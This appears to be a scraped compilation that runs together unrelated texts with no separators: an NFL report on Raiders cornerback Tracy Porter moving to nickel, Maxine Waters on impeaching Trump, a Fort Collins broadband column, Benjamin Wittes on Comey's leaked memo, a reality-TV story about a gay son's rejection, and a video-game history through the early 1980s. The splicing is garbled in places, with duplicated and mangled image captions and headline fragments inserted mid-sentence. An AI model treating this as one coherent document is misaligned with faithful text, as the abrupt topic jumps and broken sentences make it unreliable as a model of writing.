When Hayden returned, Porter was out with a groin injury. He suffered it in practice and re-aggravated the injury in the team's game in New Orleans. Porter rushed to get back not just because he had a competition on his hands but because the Raiders were playing his former team and he was eager to play. He admitted he rushed back too soon.
"I don't want to put bad things on film," said Porter. "I wanna get out there at 100% and put my true abilities on the field and that's what I made a mistake in doing in the New Orleans game. I thought I felt 100% going out there and I didn't, but I tried, being the competitor that I am, it turned out I injured myself. But, from now on something I really have to take heed of is listening to my body. If it says it's not ready to play then... I wanna be out there, but I have to be out there at 100%."
Dennis Allen said earlier in camp that the most likely scenario would be if anyone moved inside it would be Porter. He said today Porter will be playing nickel with Hayden starting at corner. Porter has a great deal of experience in that role.
"I've been [playing nickel corner] since about my third year in the league," said Porter. "That's when I started to ease into it. And in my fourth year I started to do what I'm doing now; start out at right corner and once the nickel came, I slide inside. I'm pretty familiar with the nickel position and what it demands. It's just a mind frame thing. You have to switch your mind frame once you go from corner to nickel because it's a totally different world once you go in there."
Since he returned to practice this week, he has been working at nickel corner primarily with Mike Jenkins and D.J. Hayden playing on the boundaries. This will continue through this week heading into the final preseason game.
This puts Joselio Hanson's roster spot in a bit of jeopardy. He was the team's nickel/slot corner last season after they picked him up off the waiver wire from the Eagles prior to the start of the season. He wasn't a world beater at the position last season and in a group that looks fairly deep, he could be in danger of being cut. At very least he will take a backseat to Tracy Porter and only see the field if Hayden or Jenkins are unable to go.
Waters was asked on "Morning Joe" if it was appropriate to talk about impeaching Trump in the wake of news the the special counsel probing Russian election meddling has impaneled a grand jury.
"I've long thought that there was a lot of smoke, even fire, and that everything that I have learned about this president, starting with the campaign itself, that people should have understood that there was something terribly wrong with him," Waters said on "Morning Joe."
"As a matter of fact, I have said over and over again, I think he's the most deplorable person I've ever met in my life," she added.
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Waters's comment is an apparent reference to former Democratic presidential candidate Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE's infamous claim that half of Trump's supporters can be grouped into a "basket of deplorables."
Waters has been among Trump's most vocal critics in Congress and has repeatedly raised the prospect of impeachment.
Pressed by co-host Joe Scarborough Friday on whether she thought Trump's new chief of staff, John Kelly, could bring order to the West Wing and tamp down the controversies surrounding the president, Waters said she has "no hopes" that Trump's behavior would improve.
As community expectations and the need for fast, reliable broadband services rise, we continue to receive inquiries regarding slow Internet speeds in Fort Collins. These questions lead me and members of City Council to believe there is a need to identify the current gaps and look at opportunities for improvement.
Advanced broadband and high-speed Internet services are critical to the economic and social vitality of our community. As new, “next generation” very high-speed Internet services are becoming available throughout the country, we have included a Broadband Strategic Plan proposal in the 2015-16 city manager’s recommended budget. If approved by City Council, this funding will be used to evaluate case studies of other municipal broadband services; gather feedback from the community; and explore different service options, including various public-private partnerships as well as offering broadband as a new utility service through the city.
I’m excited to see the full picture and review all options. There are no predetermined outcomes involved, other than to ensure Fort Collins’ competiveness and to look out for our long-term needs. This potential investment could have huge implications for Fort Collins. This strategic process will research the immediate and potential long-range value of advanced broadband service to the community. It’s important to learn what other communities have done and what lessons can be gleaned from their experiences.
This study will allow us to make informed, data-driven decisions for our residents and businesses. Results will also provide an understanding of the communication needs of Fort Collins’ residents, businesses and educational institutions, and whether existing services and networks are keeping pace.
When the study concludes, I hope to have a thorough analysis of all telecommunication options, including information on how other cities have responded to similar situations and what opportunities would best fit Fort Collins. If study outcomes reveal community support for more direct city involvement in broadband services, this request may be added to the ballot in 2016, consistent with Colorado law, asking voters for permission to add these services.
Telecommunications are an integral part of our competitiveness. Citizen input and participation will be critical to the success of the project as we evaluate options and strive to maintain Fort Collins’ reputation as a vibrant and innovative community.
Darin Atteberry is the Fort Collins city manager. Contact him at (970) 221-6505 or datteberry@fcgov.com.
Kasowitz's complaint, he said, only warrants "laughter," Benjamin Wittes, the editor-in-chief of Lawfare and a Brookings Institution senior fellow, told Yahoo News.
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“Any complaint on what Jim testified yesterday, in my opinion, would be frivolous,” Wittes said. “First of all, Comey was very clear that the memo that he wrote was intentionally written in unclassified form so that it would not be bound up in classification rules. So if the claim is that he’s admitted to leaking classified information, that’s simply factually false.”
In a highly anticipated testimony before the Senate Intelligence Committee on Thursday, Comey told lawmakers that he had directed a personal friend to share with the press an unclassified memo he had written, detailing an interaction with the president.
By leaking the personal memo, Comey recalled, he had hoped to prompt the Justice Department to appoint a special counsel to lead the law enforcement investigation into Russian efforts to meddle in the 2016 election.
Deputy Attorney General Rod Rosenstein has since tapped former FBI Director Robert Mueller to head the probe.
Kasowitz, whom Trump hired last month to help him navigate the potential legal threats of the Russia investigation, said in a statement shortly after Comey's testimony that the fired FBI director had made public "privileged" communications with the president.
But Witte rejected Kasowitz's argument, saying that there was nothing unethical about what Comey did and that no law bars him from sharing unclassified information.
“The real issue is whether the president has a reasonable expectation of confidentiality when he fires somebody and then lies about the circumstances in which he did that, and that strikes me as a matter in which to ask that question is also to answer it,” Wittes said. “The proper answer to Mr. Kasowitz’s complaint is laughter."
Trump himself on Friday railed against Comey's testimony. The former FBI director, he said, is a "leaker."
IT was the TV moment that shocked a nation.
A recent episode of Seven’s reality series Bride and Prejudice showed Chris, the adult child of a devout Jehovah’s Witness mother and a very traditionally minded father, visiting his parents’ home to again ask for their acceptance.
He would soon marry his partner Grant, and desperately wanted his parents Yvonne and Geoff to attend.
They didn’t fight, yell or cry. It was barely a confrontation. Instead, his mother told him calmly and simply that she would not, could not attend. Given the ultimatum by her son — accept all of me as I am, or none of me — she chose the latter, without hesitation.
It was startling viewing. And in an interview with Kyle and Jackie O this morning, Chris revealed some information about his mother’s past that makes her inability to accept her gay son all the more perplexing.
“Religion gives my mum structure in her life — she found it when she was a bit of a wild child,” he said of his “full-blown Jehovah’s Witness” mother.
“No-one knows this, but my mum actually used to work in gay bars, back in the day.”
Yep, you read that right. Kyle and Jackie O couldn’t quite believe what they were hearing — Kyle asking if perhaps Yvonne’s rejection of homosexuality stemmed from whatever same-sex action she witnessed in 1970s-era gay venues.
“It’s more so about the beliefs, I don’t know that it has anything to do with what she experienced [in gay bars],” Chris said.
The couple said that they’ve found theirs is “not a unique story” — attending Sydney’s Mardi Gras Fair Day on Sunday, they said they were approached by many people who’d seen them on Bride and Prejudice and had their own stories of parental rejection to tell.
Chris said he still held out hope his parents would change their minds and attend his wedding, which will take place in the US.
The history of video games goes as far back as the early 1950s, when academic computer scientists began designing simple games and simulations as part of their research or just for fun. At M.I.T. in the 1960s, professors and students played games such as 3D tic-tac-toe and Moon Landing. These games were played on computer such as the IBM 1560, and moves were made by means of punch cards. Video gaming did not reach mainstream popularity until the 1970s and 1980s, when video arcade games and gaming consoles using joysticks, buttons, and other controllers, along with graphics on computer screens and home computer games were introduced to the general public. Since the 1980s, video gaming has become a popular form of entertainment and a part of modern popular culture in most parts of the world. One of the early games was Spacewar!, which was developed by computer scientists. Early arcade video games developed from 1972 to 1978. During the 1970s, the first generation of home consoles emerged, including the popular game Pong and various "clones". The 1970s was also the era of mainframe computer games. The golden age of arcade video games was from 1978 to 1982. Video arcades with large, graphics-decorated coin-operated machines were common at malls and popular, affordable home consoles such as the Atari 2600 and Intellivision enabled people to play games on their home TVs. During the 1980s, gaming computers, early online gaming and handheld LCD games emerged; this era was affected by the video game crash of 1983. From 1976 to 1992, the second generation of video consoles emerged.
The third generation of consoles, which were 8-bit units, emerged from 1983 to 1995. The fourth generation of consoles, which were 16-bit models, emerged from 1987 to 1999. The 1990s saw the resurgence and decline of arcades, the transition to 3D video games, improved handheld games, and PC gaming. The fifth generation of consoles, which were 32 and 64-bit units, was from 1993 to 2006. During this era, mobile phone gaming emerged. During the 2000s, the sixth generation of consoles emerged (1998–2013). During this period, online gaming and mobile games became major aspects of gaming culture. The seventh generation of consoles was from 2005 to 2012. This era was marked by huge development budgets for some games, with some having cinematic graphics; the launch of the top-selling Wii console, in which the user could control the game actions with real-life movement of the controller; the rise of casual PC games marketed to non-gamers;[citation needed] and the emergence of cloud computing in video games.
In 2013, the eighth generation of consoles emerged, including Nintendo's Wii U and Nintendo 3DS, Microsoft's Xbox One, and Sony's PlayStation 4 and PlayStation Vita. PC gaming has been holding a large market share in Asia and Europe for decades and continues to grow due to digital distribution. Since the development and widespread consumer use of smartphones, mobile gaming has been a driving factor for games, as they can reach people formerly uninterested in gaming, and those unable to afford or support dedicated hardware, such as video game consoles.
Early history (1948–1972)
Defining the video game
The term video game has evolved over the decades from a purely technical definition to a general concept defining a new class of interactive entertainment. Technically, for a product to be a video game, there must be a video signal transmitted to a cathode ray tube (CRT) that creates a rasterized image on a screen.[1] This definition would preclude early computer games that outputted results to a printer or teletype rather than a display, any game rendered on a vector-scan monitor, any game played on a modern high definition display, and most handheld game systems.[2] From a technical standpoint, these would more properly be called "electronic games" or "computer games."[3]
Today, however, the term "video game" has completely shed its purely technical definition and encompasses a wider range of technology. While still rather ill-defined, the term "video game" now generally encompasses any game played on hardware built with electronic logic circuits that incorporates an element of interactivity and outputs the results of the player's actions to a display.[4] Going by this broader definition, the first video games appeared in the early 1950s and were tied largely to research projects at universities and large corporations.
Origins of electronic computer games
The first electronic digital computers, Colossus and ENIAC, were built during World War II to aid the Allied war effort against the Axis powers.[5] Shortly after the war, the promulgation of the first stored program architectures at the University of Manchester (Manchester Mark 1), Cambridge University (EDSAC), the University of Pennsylvania (EDVAC), and Princeton University (IAS machine) allowed computers to be easily reprogrammed to undertake a variety of tasks, which facilitated commercializing computers in the early 1950s by companies like Remington Rand, Ferranti, and IBM.[6] This in turn promoted the adoption of computers by universities, government organizations, and large corporations as the decade progressed.[7] It was in this environment that the first video games were born.
The computer games of the 1950s can generally be divided into three categories: training and instructional programs, research programs in fields such as artificial intelligence, and demonstration programs intended to impress or entertain the public. Because these games were largely developed on unique hardware in a time when porting between systems was difficult and were often dismantled or discarded after serving their limited purposes, they did not generally influence further developments in the industry.[8] For the same reason, it is impossible to be certain who developed the first computer game or who originally modeled many of the games or play mechanics introduced during the decade, as there are likely several games from this period that were never publicized and are thus unknown today.[8]
The earliest known chess computer program was developed by Alan Turing and David Champernowne called Turochamp, which was completed in 1950 but not actually implemented by them on a computer.[9] The earliest known idea for a fully electronic game is a "Cathode-Ray Tube Amusement Device" in US patent #2,455,992.[10]
The earliest known[by whom?][citation needed] electronic computer games actually implemented were two custom built machines called Bertie the Brain and Nimrod, which played tic-tac-toe and the game of Nim, respectively. Bertie the Brain, designed and built by Josef Kates at Rogers Majestic, was displayed at the Canadian National Exhibition in 1950,[11] while Nimrod, conceived by John Bennett at Ferranti and built by Raymond Stuart-Williams, was displayed at the Festival of Britain and the Berlin Industrial Show in 1951.[12] Neither game incorporated a cathode ray tube (CRT) display.[13][14] Before these, automated games like the simple chess simulator El Ajedrecista (1914)[15][16][17] and Nimrod's predecessor Nimatron (1940)[18][19] had been created as electro-mechanical devices.
The first games known to incorporate a monitor were two research projects completed in 1952, a checkers program by Christopher Strachey on the Ferranti Mark 1[20] and a tic-tac-toe program called OXO by Alexander Douglas on the EDSAC.[21] Both of these programs used a relatively static display to track the current state of the game board. The first known game incorporating graphics that updated in real time was a billiards game programmed by William Brown and Ted Lewis specifically for a demonstration of the MIDSAC computer at the University of Michigan in 1954.[8]
Tennis for Two – Modern recreation – Modern recreation
Perhaps the first game created solely for entertainment rather than to demonstrate the power of some technology, train personnel, or aid in research was Tennis for Two, designed by William Higinbotham and built by Robert Dvorak at the Brookhaven National Laboratory in 1958. Designed to entertain the general public at Brookhaven's annual series of open houses, the game was deployed on an analog computer with graphics displayed on an oscilloscope and was dismantled in 1959. Higinbotham never considered adapting the successful game into a commercial product, which would have been impractical with the technology of the time. Ultimately, the widespread adoption of computers to play games would have to wait for the machines to spread from serious academics to their students on U.S. college campuses.
Spacewar!
The mainframe computers of the 1950s were generally batch processing machines of limited speed and memory. This made them generally unsuited for games. Furthermore, they were costly and relatively scarce commodities, so computer time was a precious resource that could not be wasted on frivolous pursuits like entertainment. At the Lincoln Laboratory at the Massachusetts Institute of Technology (MIT), however, a team led by Jay Forrester developed a computer called Whirlwind in the early 1950s that processed commands in real time and incorporated a faster and more reliable form of random access memory (RAM) based around magnetic cores. Based on this work, two employees at the lab named Ken Olsen and Wes Clark developed a prototype real time computer called the TX-0 that incorporated the recently invented transistor, which ultimately allowed the size and cost of computers to be significantly reduced. Olsen subsequently established the Digital Equipment Corporation (DEC) with Harlan Anderson in 1957 and developed a commercial update of the TX-0 called the PDP-1.
Lincoln Laboratory donated the TX-0 to MIT in 1958. As the computer operated in real time and thus allowed for interactive programming, MIT allowed students to program the computer to conduct their own research, perhaps the first time that university students were allowed to directly access a computer for their own work. Further, the university decided to allow students to set the computer to tasks outside the bounds of classwork or faculty research during periods of time no one was signed up to do official work. This resulted in a community of undergraduate students led by Bob Saunders, Peter Samson, and Alan Kotok, many of them affiliated with the Tech Model Railroad Club, conducting their own experiments on the computer. In 1961, MIT received one of the first PDP-1 computers, which incorporated a relatively sophisticated point-plotting monitor. MIT provided a similar level of access to the computer for students as it did for the TX-0, resulting in the creation of the first (relatively) widespread, and thus influential, computer game, Spacewar!
Spacewar! is credited as the first widely available and influential computer game. is credited as the first widely available and influential computer game.
Conceived by Steve Russell, Martin Graetz, and Wayne Wiitanen in 1961 and programmed primarily by Russell, Saunders, Graetz, Samson, and Dan Edwards in the first half of 1962, Spacewar! was inspired by the science fiction stories of E. E. Smith and depicted a duel between two spaceships, each controlled by a player using a custom built control box. Immensely popular among students at MIT, Spacewar! spread to the West Coast later in the year when Russell took a job at the Stanford Artificial Intelligence Laboratory (SAIL), where it enjoyed similar success. The program subsequently migrated to other locations around the country through the efforts of both former MIT students and DEC itself, more so after cathode ray tube (CRT) terminals started becoming more common at the end of the 1960s.
As computing resources continued to expand over the remainder of the decade through the adoption of time sharing and the development of simpler high-level programming languages like BASIC, an increasing number of college students began programming and sharing simple sports, puzzle, card, logic, and board games as the decade progressed. These creations remained trapped in computer labs for the remainder of the decade, however, because even though some adherents of Spacewar! had begun to sense the commercial possibilities of computer games, they could only run on hardware costing hundreds of thousands of dollars. As computers and their components continued to fall in price, however, the dream of a commercial video game finally became attainable at the start of the 1970s.
The commercialization of video games
By 1970, the introduction of medium scale integration (MSI) transistor–transistor logic (TTL) circuits combining multiple transistors on a single microchip had resulted in another significant reduction in the cost of computing and ushered in a new wave of minicomputers costing under $10,000. While still far too costly for the home, these advances lowered the cost of computing enough that it could be seriously considered for the coin-operated games industry, which at the time was experiencing its own technological renaissance as large electro-mechanical target shooting and driving games like Sega Enterprises's Periscope (1967) and Chicago Coin's Speedway (1969) pioneered the adoption of elaborate visual displays and electronic sound effects in the amusement arcade. Consequently, when a recent engineering graduate from Utah with experience running coin-operated equipment named Nolan Bushnell first saw Spacewar! at SAIL in late 1969 or early 1970, he resolved to build a coin-operated version for public consumption. Enlisting the aid of an older and more experienced engineer named Ted Dabney, Bushnell built a variant of the game called Computer Space in which a single player-controlled spaceship dueled two hardware-controlled flying saucers. Released in late November or early December 1971 through Nutting Associates, the game failed to have much impact in the coin-operated marketplace.
Meanwhile, Ralph Baer, an engineer with a degree in television engineering working for defense contractor Sanders Associates, had been working on a video game system that could be plugged into a standard television set since 1966. Working primarily with technician Bill Harrison, who built most of the actual hardware, Baer developed a series of prototype systems between 1966 and 1969 based around diode–transistor logic (DTL) circuits that would send a video signal to a television set to generate spots on the screen that could be controlled by the players. Originally able to generate only two spots, the system was modified in November 1967 at the suggestion of engineer Bill Rusch to generate a third spot for use in a table tennis game in which each player controlled a single spot that served as a paddle and volleyed the third spot, which acted as a ball. In 1971, Sanders concluded a licensing agreement with television company Magnavox to release the system, which reached the market in September 1972 as the Magnavox Odyssey. The system launched with a dozen games included in the box, four more sold with a separate light gun, and six games sold separately, most of which were chase, racing, target shooting, or sports games. These games were activated using plug-in circuit cards that defined how the spots generated by the hardware would behave. Due to the limited abilities of the system, which could only render three spots and a line, most of the graphic and gameplay elements were actually defined by plastic overlays attached to the TV set along with accessories like boards, cards, and dice. Like Computer Space the Odyssey only performed modestly and failed to jump start a new industry. However, the system did directly influence the birth of a vibrant video arcade game industry after Ralph Baer's design ingenuity intersected Nolan Bushnell's entrepreneurial ambition.
A new industry
Early arcade video games (1972–1978)
Pong was the first arcade game to ever receive universal acclaim. was the first arcade game to ever receive universal acclaim.
In 1972, Nolan Bushnell and Ted Dabney decided to strike out on their own and incorporated their preexisting partnership as Atari. After seeing a demonstration of the Magnavox Odyssey ahead of its release, Bushnell charged new hire Allan Alcorn to create a version of that system's table tennis game as a practice project to familiarize himself with video game design. Alcorn's version ended up being so fun that Atari decided to release it as Pong. Available in limited quantities in late 1972, Pong began reaching the market in quantity in March 1973, after which it ignited a new craze for ball-and-paddle video games in the coin-operated amusement industry. The success of Pong did not result in the displacement of traditional arcade amusements like pinball, but did lay the foundation for a successful video arcade game industry. Roughly 70,000 video games, mostly ball-and-paddle variants, were sold in 1973 by a combination of recent startups like Atari, Ramtek, and Allied Leisure and established Chicago firms like Williams, Chicago Coin, and the Midway subsidiary of Bally Manufacturing.
The video arcade game market remained in a state of flux for the remainder of the decade. The ball-and-paddle market collapsed in 1974 due to market saturation, which led to a significant drop in video game sales. Smaller manufacturers attempted to compensate by creating "cocktail table" cabinets for sale to non-traditional venues like higher class restaurants and lounges, but this market failed to fully develop. Larger companies like Atari and Midway turned to new genres to remain successful, especially racing games, one-on-one dueling games, and target shooting games. Early hits in these genres included Gran Trak 10 (1974) and Tank (1974) from Atari, and Wheels (1975), Gun Fight, (1975) and Sea Wolf (1976) from Midway. Wheels and Gun Fight were licensed versions of Speed Race and Western Gun developed by the Taito Trading Company of Japan, marking the start of Japanese video game penetration into the United States. Gun Fight was also one of the first arcade games to incorporate a microprocessor, starting a shift away from video arcade games engineered using dedicated TTL hardware to video games programmed in software.
The video game was one of several concepts that helped to reform the image of the arcade as a seedy hangout for delinquents. This in turn aided the growth of arcades in suburban shopping malls. The principle pioneer of the shopping mall arcade was Jules Millman, who established an arcade in a shopping mall in Harvey, Illinois, in 1969. By banning eating, drinking, and smoking, and maintaining a full staff at all times to keep an eye on the facilities, Millman created a safe environment where parents could feel safe leaving their older children while browsing other stores in the mall. Millman founded American Amusements to establish more shopping mall arcades, which was purchased by Bally in 1974 and renamed Aladdin's Castle. Other entrepreneur's imitated Millman's format, and arcades became a mainstay of the shopping mall by the end of the decade.
The emergence of solid state pinball in the late 1970s, in which electro-mechanical technologies like relays were replaced by the newly emerging microprocessor, temporarily stole the limelight from video games, which once again entered a period of decline in 1977 and 1978. While individual games like Atari's Breakout (1976) and Cinematronics' Space Wars (1978) sold in large numbers during this period, overall profitability began to lag. The market surged once again, however, after the introduction of the Taito game Space Invaders by Midway in 1979.
First generation of home consoles and the Pong clones (1972–1978)
Magnavox's 1975 Odyssey game console
The Magnavox Odyssey never caught on with the public, due largely to the limited functionality of its primitive technology. By the middle of the 1970s, however, the ball-and-paddle craze in the arcade had ignited public interest in video games and continuing advances in integrated circuits had resulted in large-scale integration (LSI) microchips cheap enough to be incorporated into a consumer product. In 1975, Magnavox reduced the part count of the Odyssey using a three-chip set created by Texas Instruments and released two new systems that only played ball-and-paddle games, the Odyssey 100 and Odyssey 200. Atari, meanwhile, entered the consumer market that same year with the single-chip Home Pong system designed by Harold Lee. The next year, General Instrument released a "Pong-on-a-chip" LSI and made it available at a low price to any interested company. Toy company Coleco Industries used this chip to create the million-selling Telstar console model series (1976–77), while dozens of other companies released models as well. Overall, sales of dedicated ball-and-paddle systems in the U.S. grew from 350,000 in 1975 to a peak of 5–6 million in 1977. A similar boom hit the United Kingdom and other parts of Europe, with much of the market supplied by clone manufacturers in Hong Kong.
After 1977, the dedicated console market in the United States collapsed. A new wave of programmable systems hit the market starting with the Fairchild Channel F in 1976 that offered the possibility of purchasing and playing a wider variety of games stored on cartridges containing mask ROM that could be plugged directly into the CPU of the console. As older model dedicated consoles were heavily discounted and consumers with more purchasing power transitioned to the new programmable systems, newer dedicated systems with more advanced features like Video Pinball from Atari and the Odyssey 4000 were squeezed out by their lower priced predecessors and their more sophisticated programmable replacements. This caused a brief dip in the market and the exit of industry leader Coleco, which failed to transition to programmable hardware. Fairchild remained in the new programmable market alongside Atari and Magnavox, which released the VCS (1977) and Odyssey2 (1978) respectively.
Mainframe computer games (1971–1979)
In the 1960s, a number of computer games were created for mainframe and minicomputer systems, but these failed to achieve wide distribution due to the continuing scarcity of computer resources, a lack of sufficiently trained programmers interested in crafting entertainment products, and the difficulty in transferring programs between computers in different geographic areas. By the end of the 1970s, however, the situation had changed drastically. The BASIC and C high-level programming languages were widely adopted during the decade, which were more accessible than earlier more technical languages such as FORTRAN and COBOL, opening up computer game creation to a larger base of users. With the advent of time-sharing, which allowed the resources of a single mainframe to be parceled out among multiple users connected to the machine by terminals, computer access was no longer limited to a handful of individuals at an institution, creating more opportunities for students to create their own games. Furthermore, the widespread adoption of the PDP-10, released by Digital Equipment Corporation (DEC) in 1966, and the portable UNIX operating system, developed at Bell Labs in 1971 and released generally in 1973, created common programming environments across the country that reduced the difficulty of sharing programs between institutions. Finally, the founding of the first magazines dedicated to computing like Creative Computing (1974), the publication of the earliest program compilation books like 101 BASIC Computer Games (1973), and the spread of wide-area networks such as the ARPANET allowed programs to be shared more easily across great distances. As a result, many of the mainframe games created by college students in the 1970s influenced subsequent developments in the video game industry in ways that, Spacewar! aside, the games of the 1960s did not.
In the arcade and on home consoles, fast-paced action and real-time gameplay were the norm in genres like racing and target shooting. On the mainframe, however, such games were generally not possible due both to the lack of adequate displays (many computer terminals continued to rely on teletypes rather than monitors well into the 1970s and even most CRT terminals could only render character-based graphics) and insufficient processing power and memory to update game elements in real time. While 1970s mainframes were more powerful than arcade and console hardware of the period, the need to parcel out computing resources to dozens of simultaneous users via time-sharing significantly hampered their abilities. Thus, programmers of mainframe games focused on strategy and puzzle-solving mechanics over pure action. Notable games of the period include the tactical combat game Star Trek (1971) by Mike Mayfield, the hide-and-seek game Hunt the Wumpus (1972) by Gregory Yob, and the strategic war game Empire (1977) by Walter Bright. Perhaps the most significant game of the period was Colossal Cave Adventure (or simply Adventure), created in 1976 by Will Crowther by combining his passion for caving with concepts from the newly released tabletop role-playing game (RPG) Dungeons and Dragons (D&D). Expanded by Don Woods in 1977 with an emphasis on the high fantasy of J.R.R. Tolkien, Adventure established a new genre based around exploration and inventory-based puzzle solving that made the transition to personal computers in the late 1970s.
While most games were created on hardware of limited graphic ability, one computer able to host more impressive games was the PLATO system developed at the University of Illinois. Intended as an educational computer, the system connected hundreds of users all over the United States via remote terminals that featured high-quality plasma displays and allowed users to interact with each other in real time. This allowed the system to host an impressive array of graphical and/or multiplayer games, including some of the earliest known computer RPGs, which were primarily derived, like Adventure, from D&D, but unlike that game placed a greater emphasis on combat and character progression than puzzle solving. Starting with top-down dungeon crawls like The Dungeon (1975) and The Game of Dungeons (1975), more commonly referred to today by their filenames, pedit5 and dnd, PLATO RPGs soon transitioned to a first-person perspective with games like Moria (1975), Oubliette (1977), and Avatar (1979), which often allowed multiple players to join forces to battle monsters and complete quests together. Like Adventure, these games would ultimately inspire some of the earliest personal computer games.
Golden age
Golden age of arcade video games (1978–1982)
Space Invaders was a popular game during the golden age. The game introduced many elements which would become standard in video games. was a popular game during the golden age. The game introduced many elements which would become standard in video games.
By 1978, video games were well established in the U.S. coin-operated amusement industry, but their popularity was secondary to the industry stalwarts of pool and pinball. That changed with the introduction of a new game developed in Japan. While video games had been introduced to Japan soon after hitting the United States, the Japanese arcade industry had remained primarily focused on electro-mechanical driving and shooting games and a type of slot machine called the "medal game" that accepted and paid out in medals instead of currency so as not to be classified as a gambling game. In 1977, the arrival of Breakout, distributed locally by the Nakamura Manufacturing Company, and the advent of table-top game units, pioneered by Taito, created new demand for video games in snack bars and tea houses. Taito designer Tomohiro Nishikado decided to build on the popularity of Breakout by replacing the paddle in the game with a gun battery and the bricks in the game with rows of aliens that would descend line-by-line while firing at the player. Taito released this game in 1978 as Space Invaders.
Galaxian, Galaga and Donkey Kong were popular in arcades during the early 1980s. Games such asandwere popular in arcades during the early 1980s.
Space Invaders introduced or popularized several important concepts in arcade video games, including play regulated by lives instead of a timer or set score, gaining extra lives through accumulating points, and the tracking of the high score achieved on the machine. It was also the first game to confront the player with waves of targets that would shoot back at the player and the first to include background music during game play, a simple four-note loop. With its intense game play and competitive scoring features, Space Invaders became a national phenomenon as over 200,000 invader games—counting clones and knockoffs—entered Japanese game centers by the middle of 1979. While not quite as popular in the United States, Space Invaders became the biggest hit the industry had seen since the Great Depression as Midway, serving as the North American manufacturer, moved over 60,000 cabinets. The one-two punch of Space Invaders and the Atari game Asteroids (1979), which moved 70,000 units and popularized the recording of multiple high scores in a table, resulted in video arcade games completely displacing pinball and other amusements to become the central attraction of not just the shopping mall arcade, but also a variety of street locations from convenience stores to bowling alleys to pizza parlors. Many of the best-selling games of 1980 and 1981 such as Galaxian (1979), Defender (1980), Missile Command (1980), Tempest (1981), and Galaga (1981) focused on shooting mechanics and achieving high scores. Starting with Pac Man in 1980, which sold 96,000 units in the United States, a new wave of games appeared that focused on identifiable characters and alternate mechanics such as navigating a maze or traversing a series of platforms. Aside from Pac Man and its sequel, Ms. Pac-Man (1982), the most popular games in this vein were Donkey Kong (1981) and Q*bert (1982).
According to trade publication Vending Times, revenues generated by coin-operated video games on location in the United States jumped from $308 million in 1978 to $968 million in 1979 to $2.8 billion in 1980. As Pac Man ignited an even larger video game craze and attracted more female players to arcades, revenues jumped again to $4.9 billion in 1981. According to trade publication Play Meter, by July 1982, total coin-op collections peaked at $8.9 billion, of which $7.7 billion came from video games. Meanwhile, the number of arcades—defined as any location with ten or more games—more than doubled between July 1981 and July 1983 from over 10,000 to just over 25,000. These figures made arcade games the most popular entertainment medium in the country, far surpassing both pop music (at $4 billion in sales per year) and Hollywood films ($3 billion).[22]
Second generation consoles (1976–1982)
Intellivision was a home console system introduced in 1979.
After the collapse of the dedicated console market in 1978, focus in the home shifted to the new programmable systems, in which game data was stored on ROM-based cartridges. Fairchild semiconductor struck first in this market with the Channel F, but after losing millions in the digital watch business, the company took a conservative approach to the programmable console market and kept production runs of the system low. As a result, by the end of 1977, Fairchild had only sold about 250,000 systems. Atari followed Fairchild into the market in 1977 and sold between 340,000 and 400,000 systems that year. Magnavox joined the programmable market in 1978 with the Odyssey2, while toy company Mattel released the Intellivision in 1979, which featured graphics superior to any of its competitors.
After both Atari and Fairchild made a strong showing in 1977, the market hit a difficult patch in 1978 when retailers resisted building inventory, believing that the newly emerging electronic handheld market would displace video games. Atari, for example, manufactured 800,000 systems, but proved unable to sell more than 500,000 to retail. This helped precipitate a crisis at the company that saw co-founder and chairman Nolan Bushnell and president Joe Keenan forced out by Atari's parent company, Warner Communications, which had purchased Atari in 1976 largely on the potential of the VCS. Ultimately, home video games did well in the 1978 holiday season, and retailers proved more amenable to stocking them again in 1979. New Atari CEO Ray Kassar subsequently harnessed his company's leftover stock to help transform video game consoles into a year-round product rather than something just purchased by retailers for sale during the holiday season.
The real breakthrough for the home video game market occurred in 1980 when Atari released a conversion of the popular Space Invaders game for the VCS, which was licensed from Taito. Buoyed by the success of the game, Atari's consumer sales almost doubled from $119 million to nearly $204 million in 1980 and then exploded to over $841 million in 1981, while sales across the entire video game industry in the United States rose from $185.7 million in 1979 to just over $1 billion in 1981. Through a combination of conversions of its own arcade games like Missile Command and Asteroids and licensed conversions like Defender, Atari took a commanding lead in the industry, with an estimated 65% market share of the worldwide industry by dollar volume by 1981. Mattel settled into second place with roughly 15%-20% of the market, while Magnavox ran a distant third, and Fairchild exited the market entirely in 1979.
In the early days of the programmable market, all of the games for a given system were developed by the firm that released the console. That changed in 1979 when four Atari programmers, seeking greater recognition and financial reward for their contributions, struck out on their own to form Activision, the first third-party developer. The company went on to develop a string of hits including Kaboom! (1981), River Raid (1982), and Pitfall! (1982), recognized as one of the foundational games of the scrolling platformer genre. In 1981, another group of Atari employees joined with ex-Mattel staff to form Imagic and experienced success with games like Demon Attack (1982) and Atlantis (1982).
In 1982, Atari released a more advanced console based on its 8-bit computer line, the Atari 5200, which failed to perform as well as its predecessor. That same year, Coleco returned to the video game market with a new console, the ColecoVision, that featured near-arcade-quality graphics and shipped with a port of the popular arcade game Donkey Kong. Coleco sold out its entire run of 550,000 units in the 1982 holiday season as overall U.S. video game sales reached $2.1 billion, which represented 31% of the dollar volume of the entire toy industry. Ultimately, however, the rapid growth of the home console market could not be sustained, and the industry would soon face a serious downturn that would nearly wipe it out during the video game crash of 1983.
Early home computer games (1976–1982)
While the fruit of retail development in early video games appeared mainly in video arcades and home consoles, home computers began appearing in the late 1970s and were rapidly evolving in the 1980s, allowing their owners to program simple games. Hobbyist groups for the new computers soon formed and PC game software followed. Soon many of these games—at first clones of mainframe classics such as Star Trek, and then later ports or clones of popular arcade games such as Space Invaders, Frogger,[23] Pac-Man (see Pac-Man clones)[24] and Donkey Kong[25]—were being distributed through a variety of channels, such as printing the game's source code in books (such as David Ahl's BASIC Computer Games), magazines (Creative Computing), and newsletters, which allowed users to type in the code for themselves. Early game designers like Crowther, Daglow and Yob would find the computer code for their games—which they had never thought to copyright—published in books and magazines, with their names removed from the listings. Early home computers from Apple, Commodore, Tandy and others had many games that people typed in.
Games were also distributed by the physical mailing and selling of floppy disks, cassette tapes, and ROM cartridges. Soon a small cottage industry was formed, with amateur programmers selling disks in plastic bags put on the shelves of local shops or sent through the mail. Richard Garriott distributed several copies of his 1980 role-playing video game Akalabeth: World of Doom in plastic bags before the game was published.
1980s
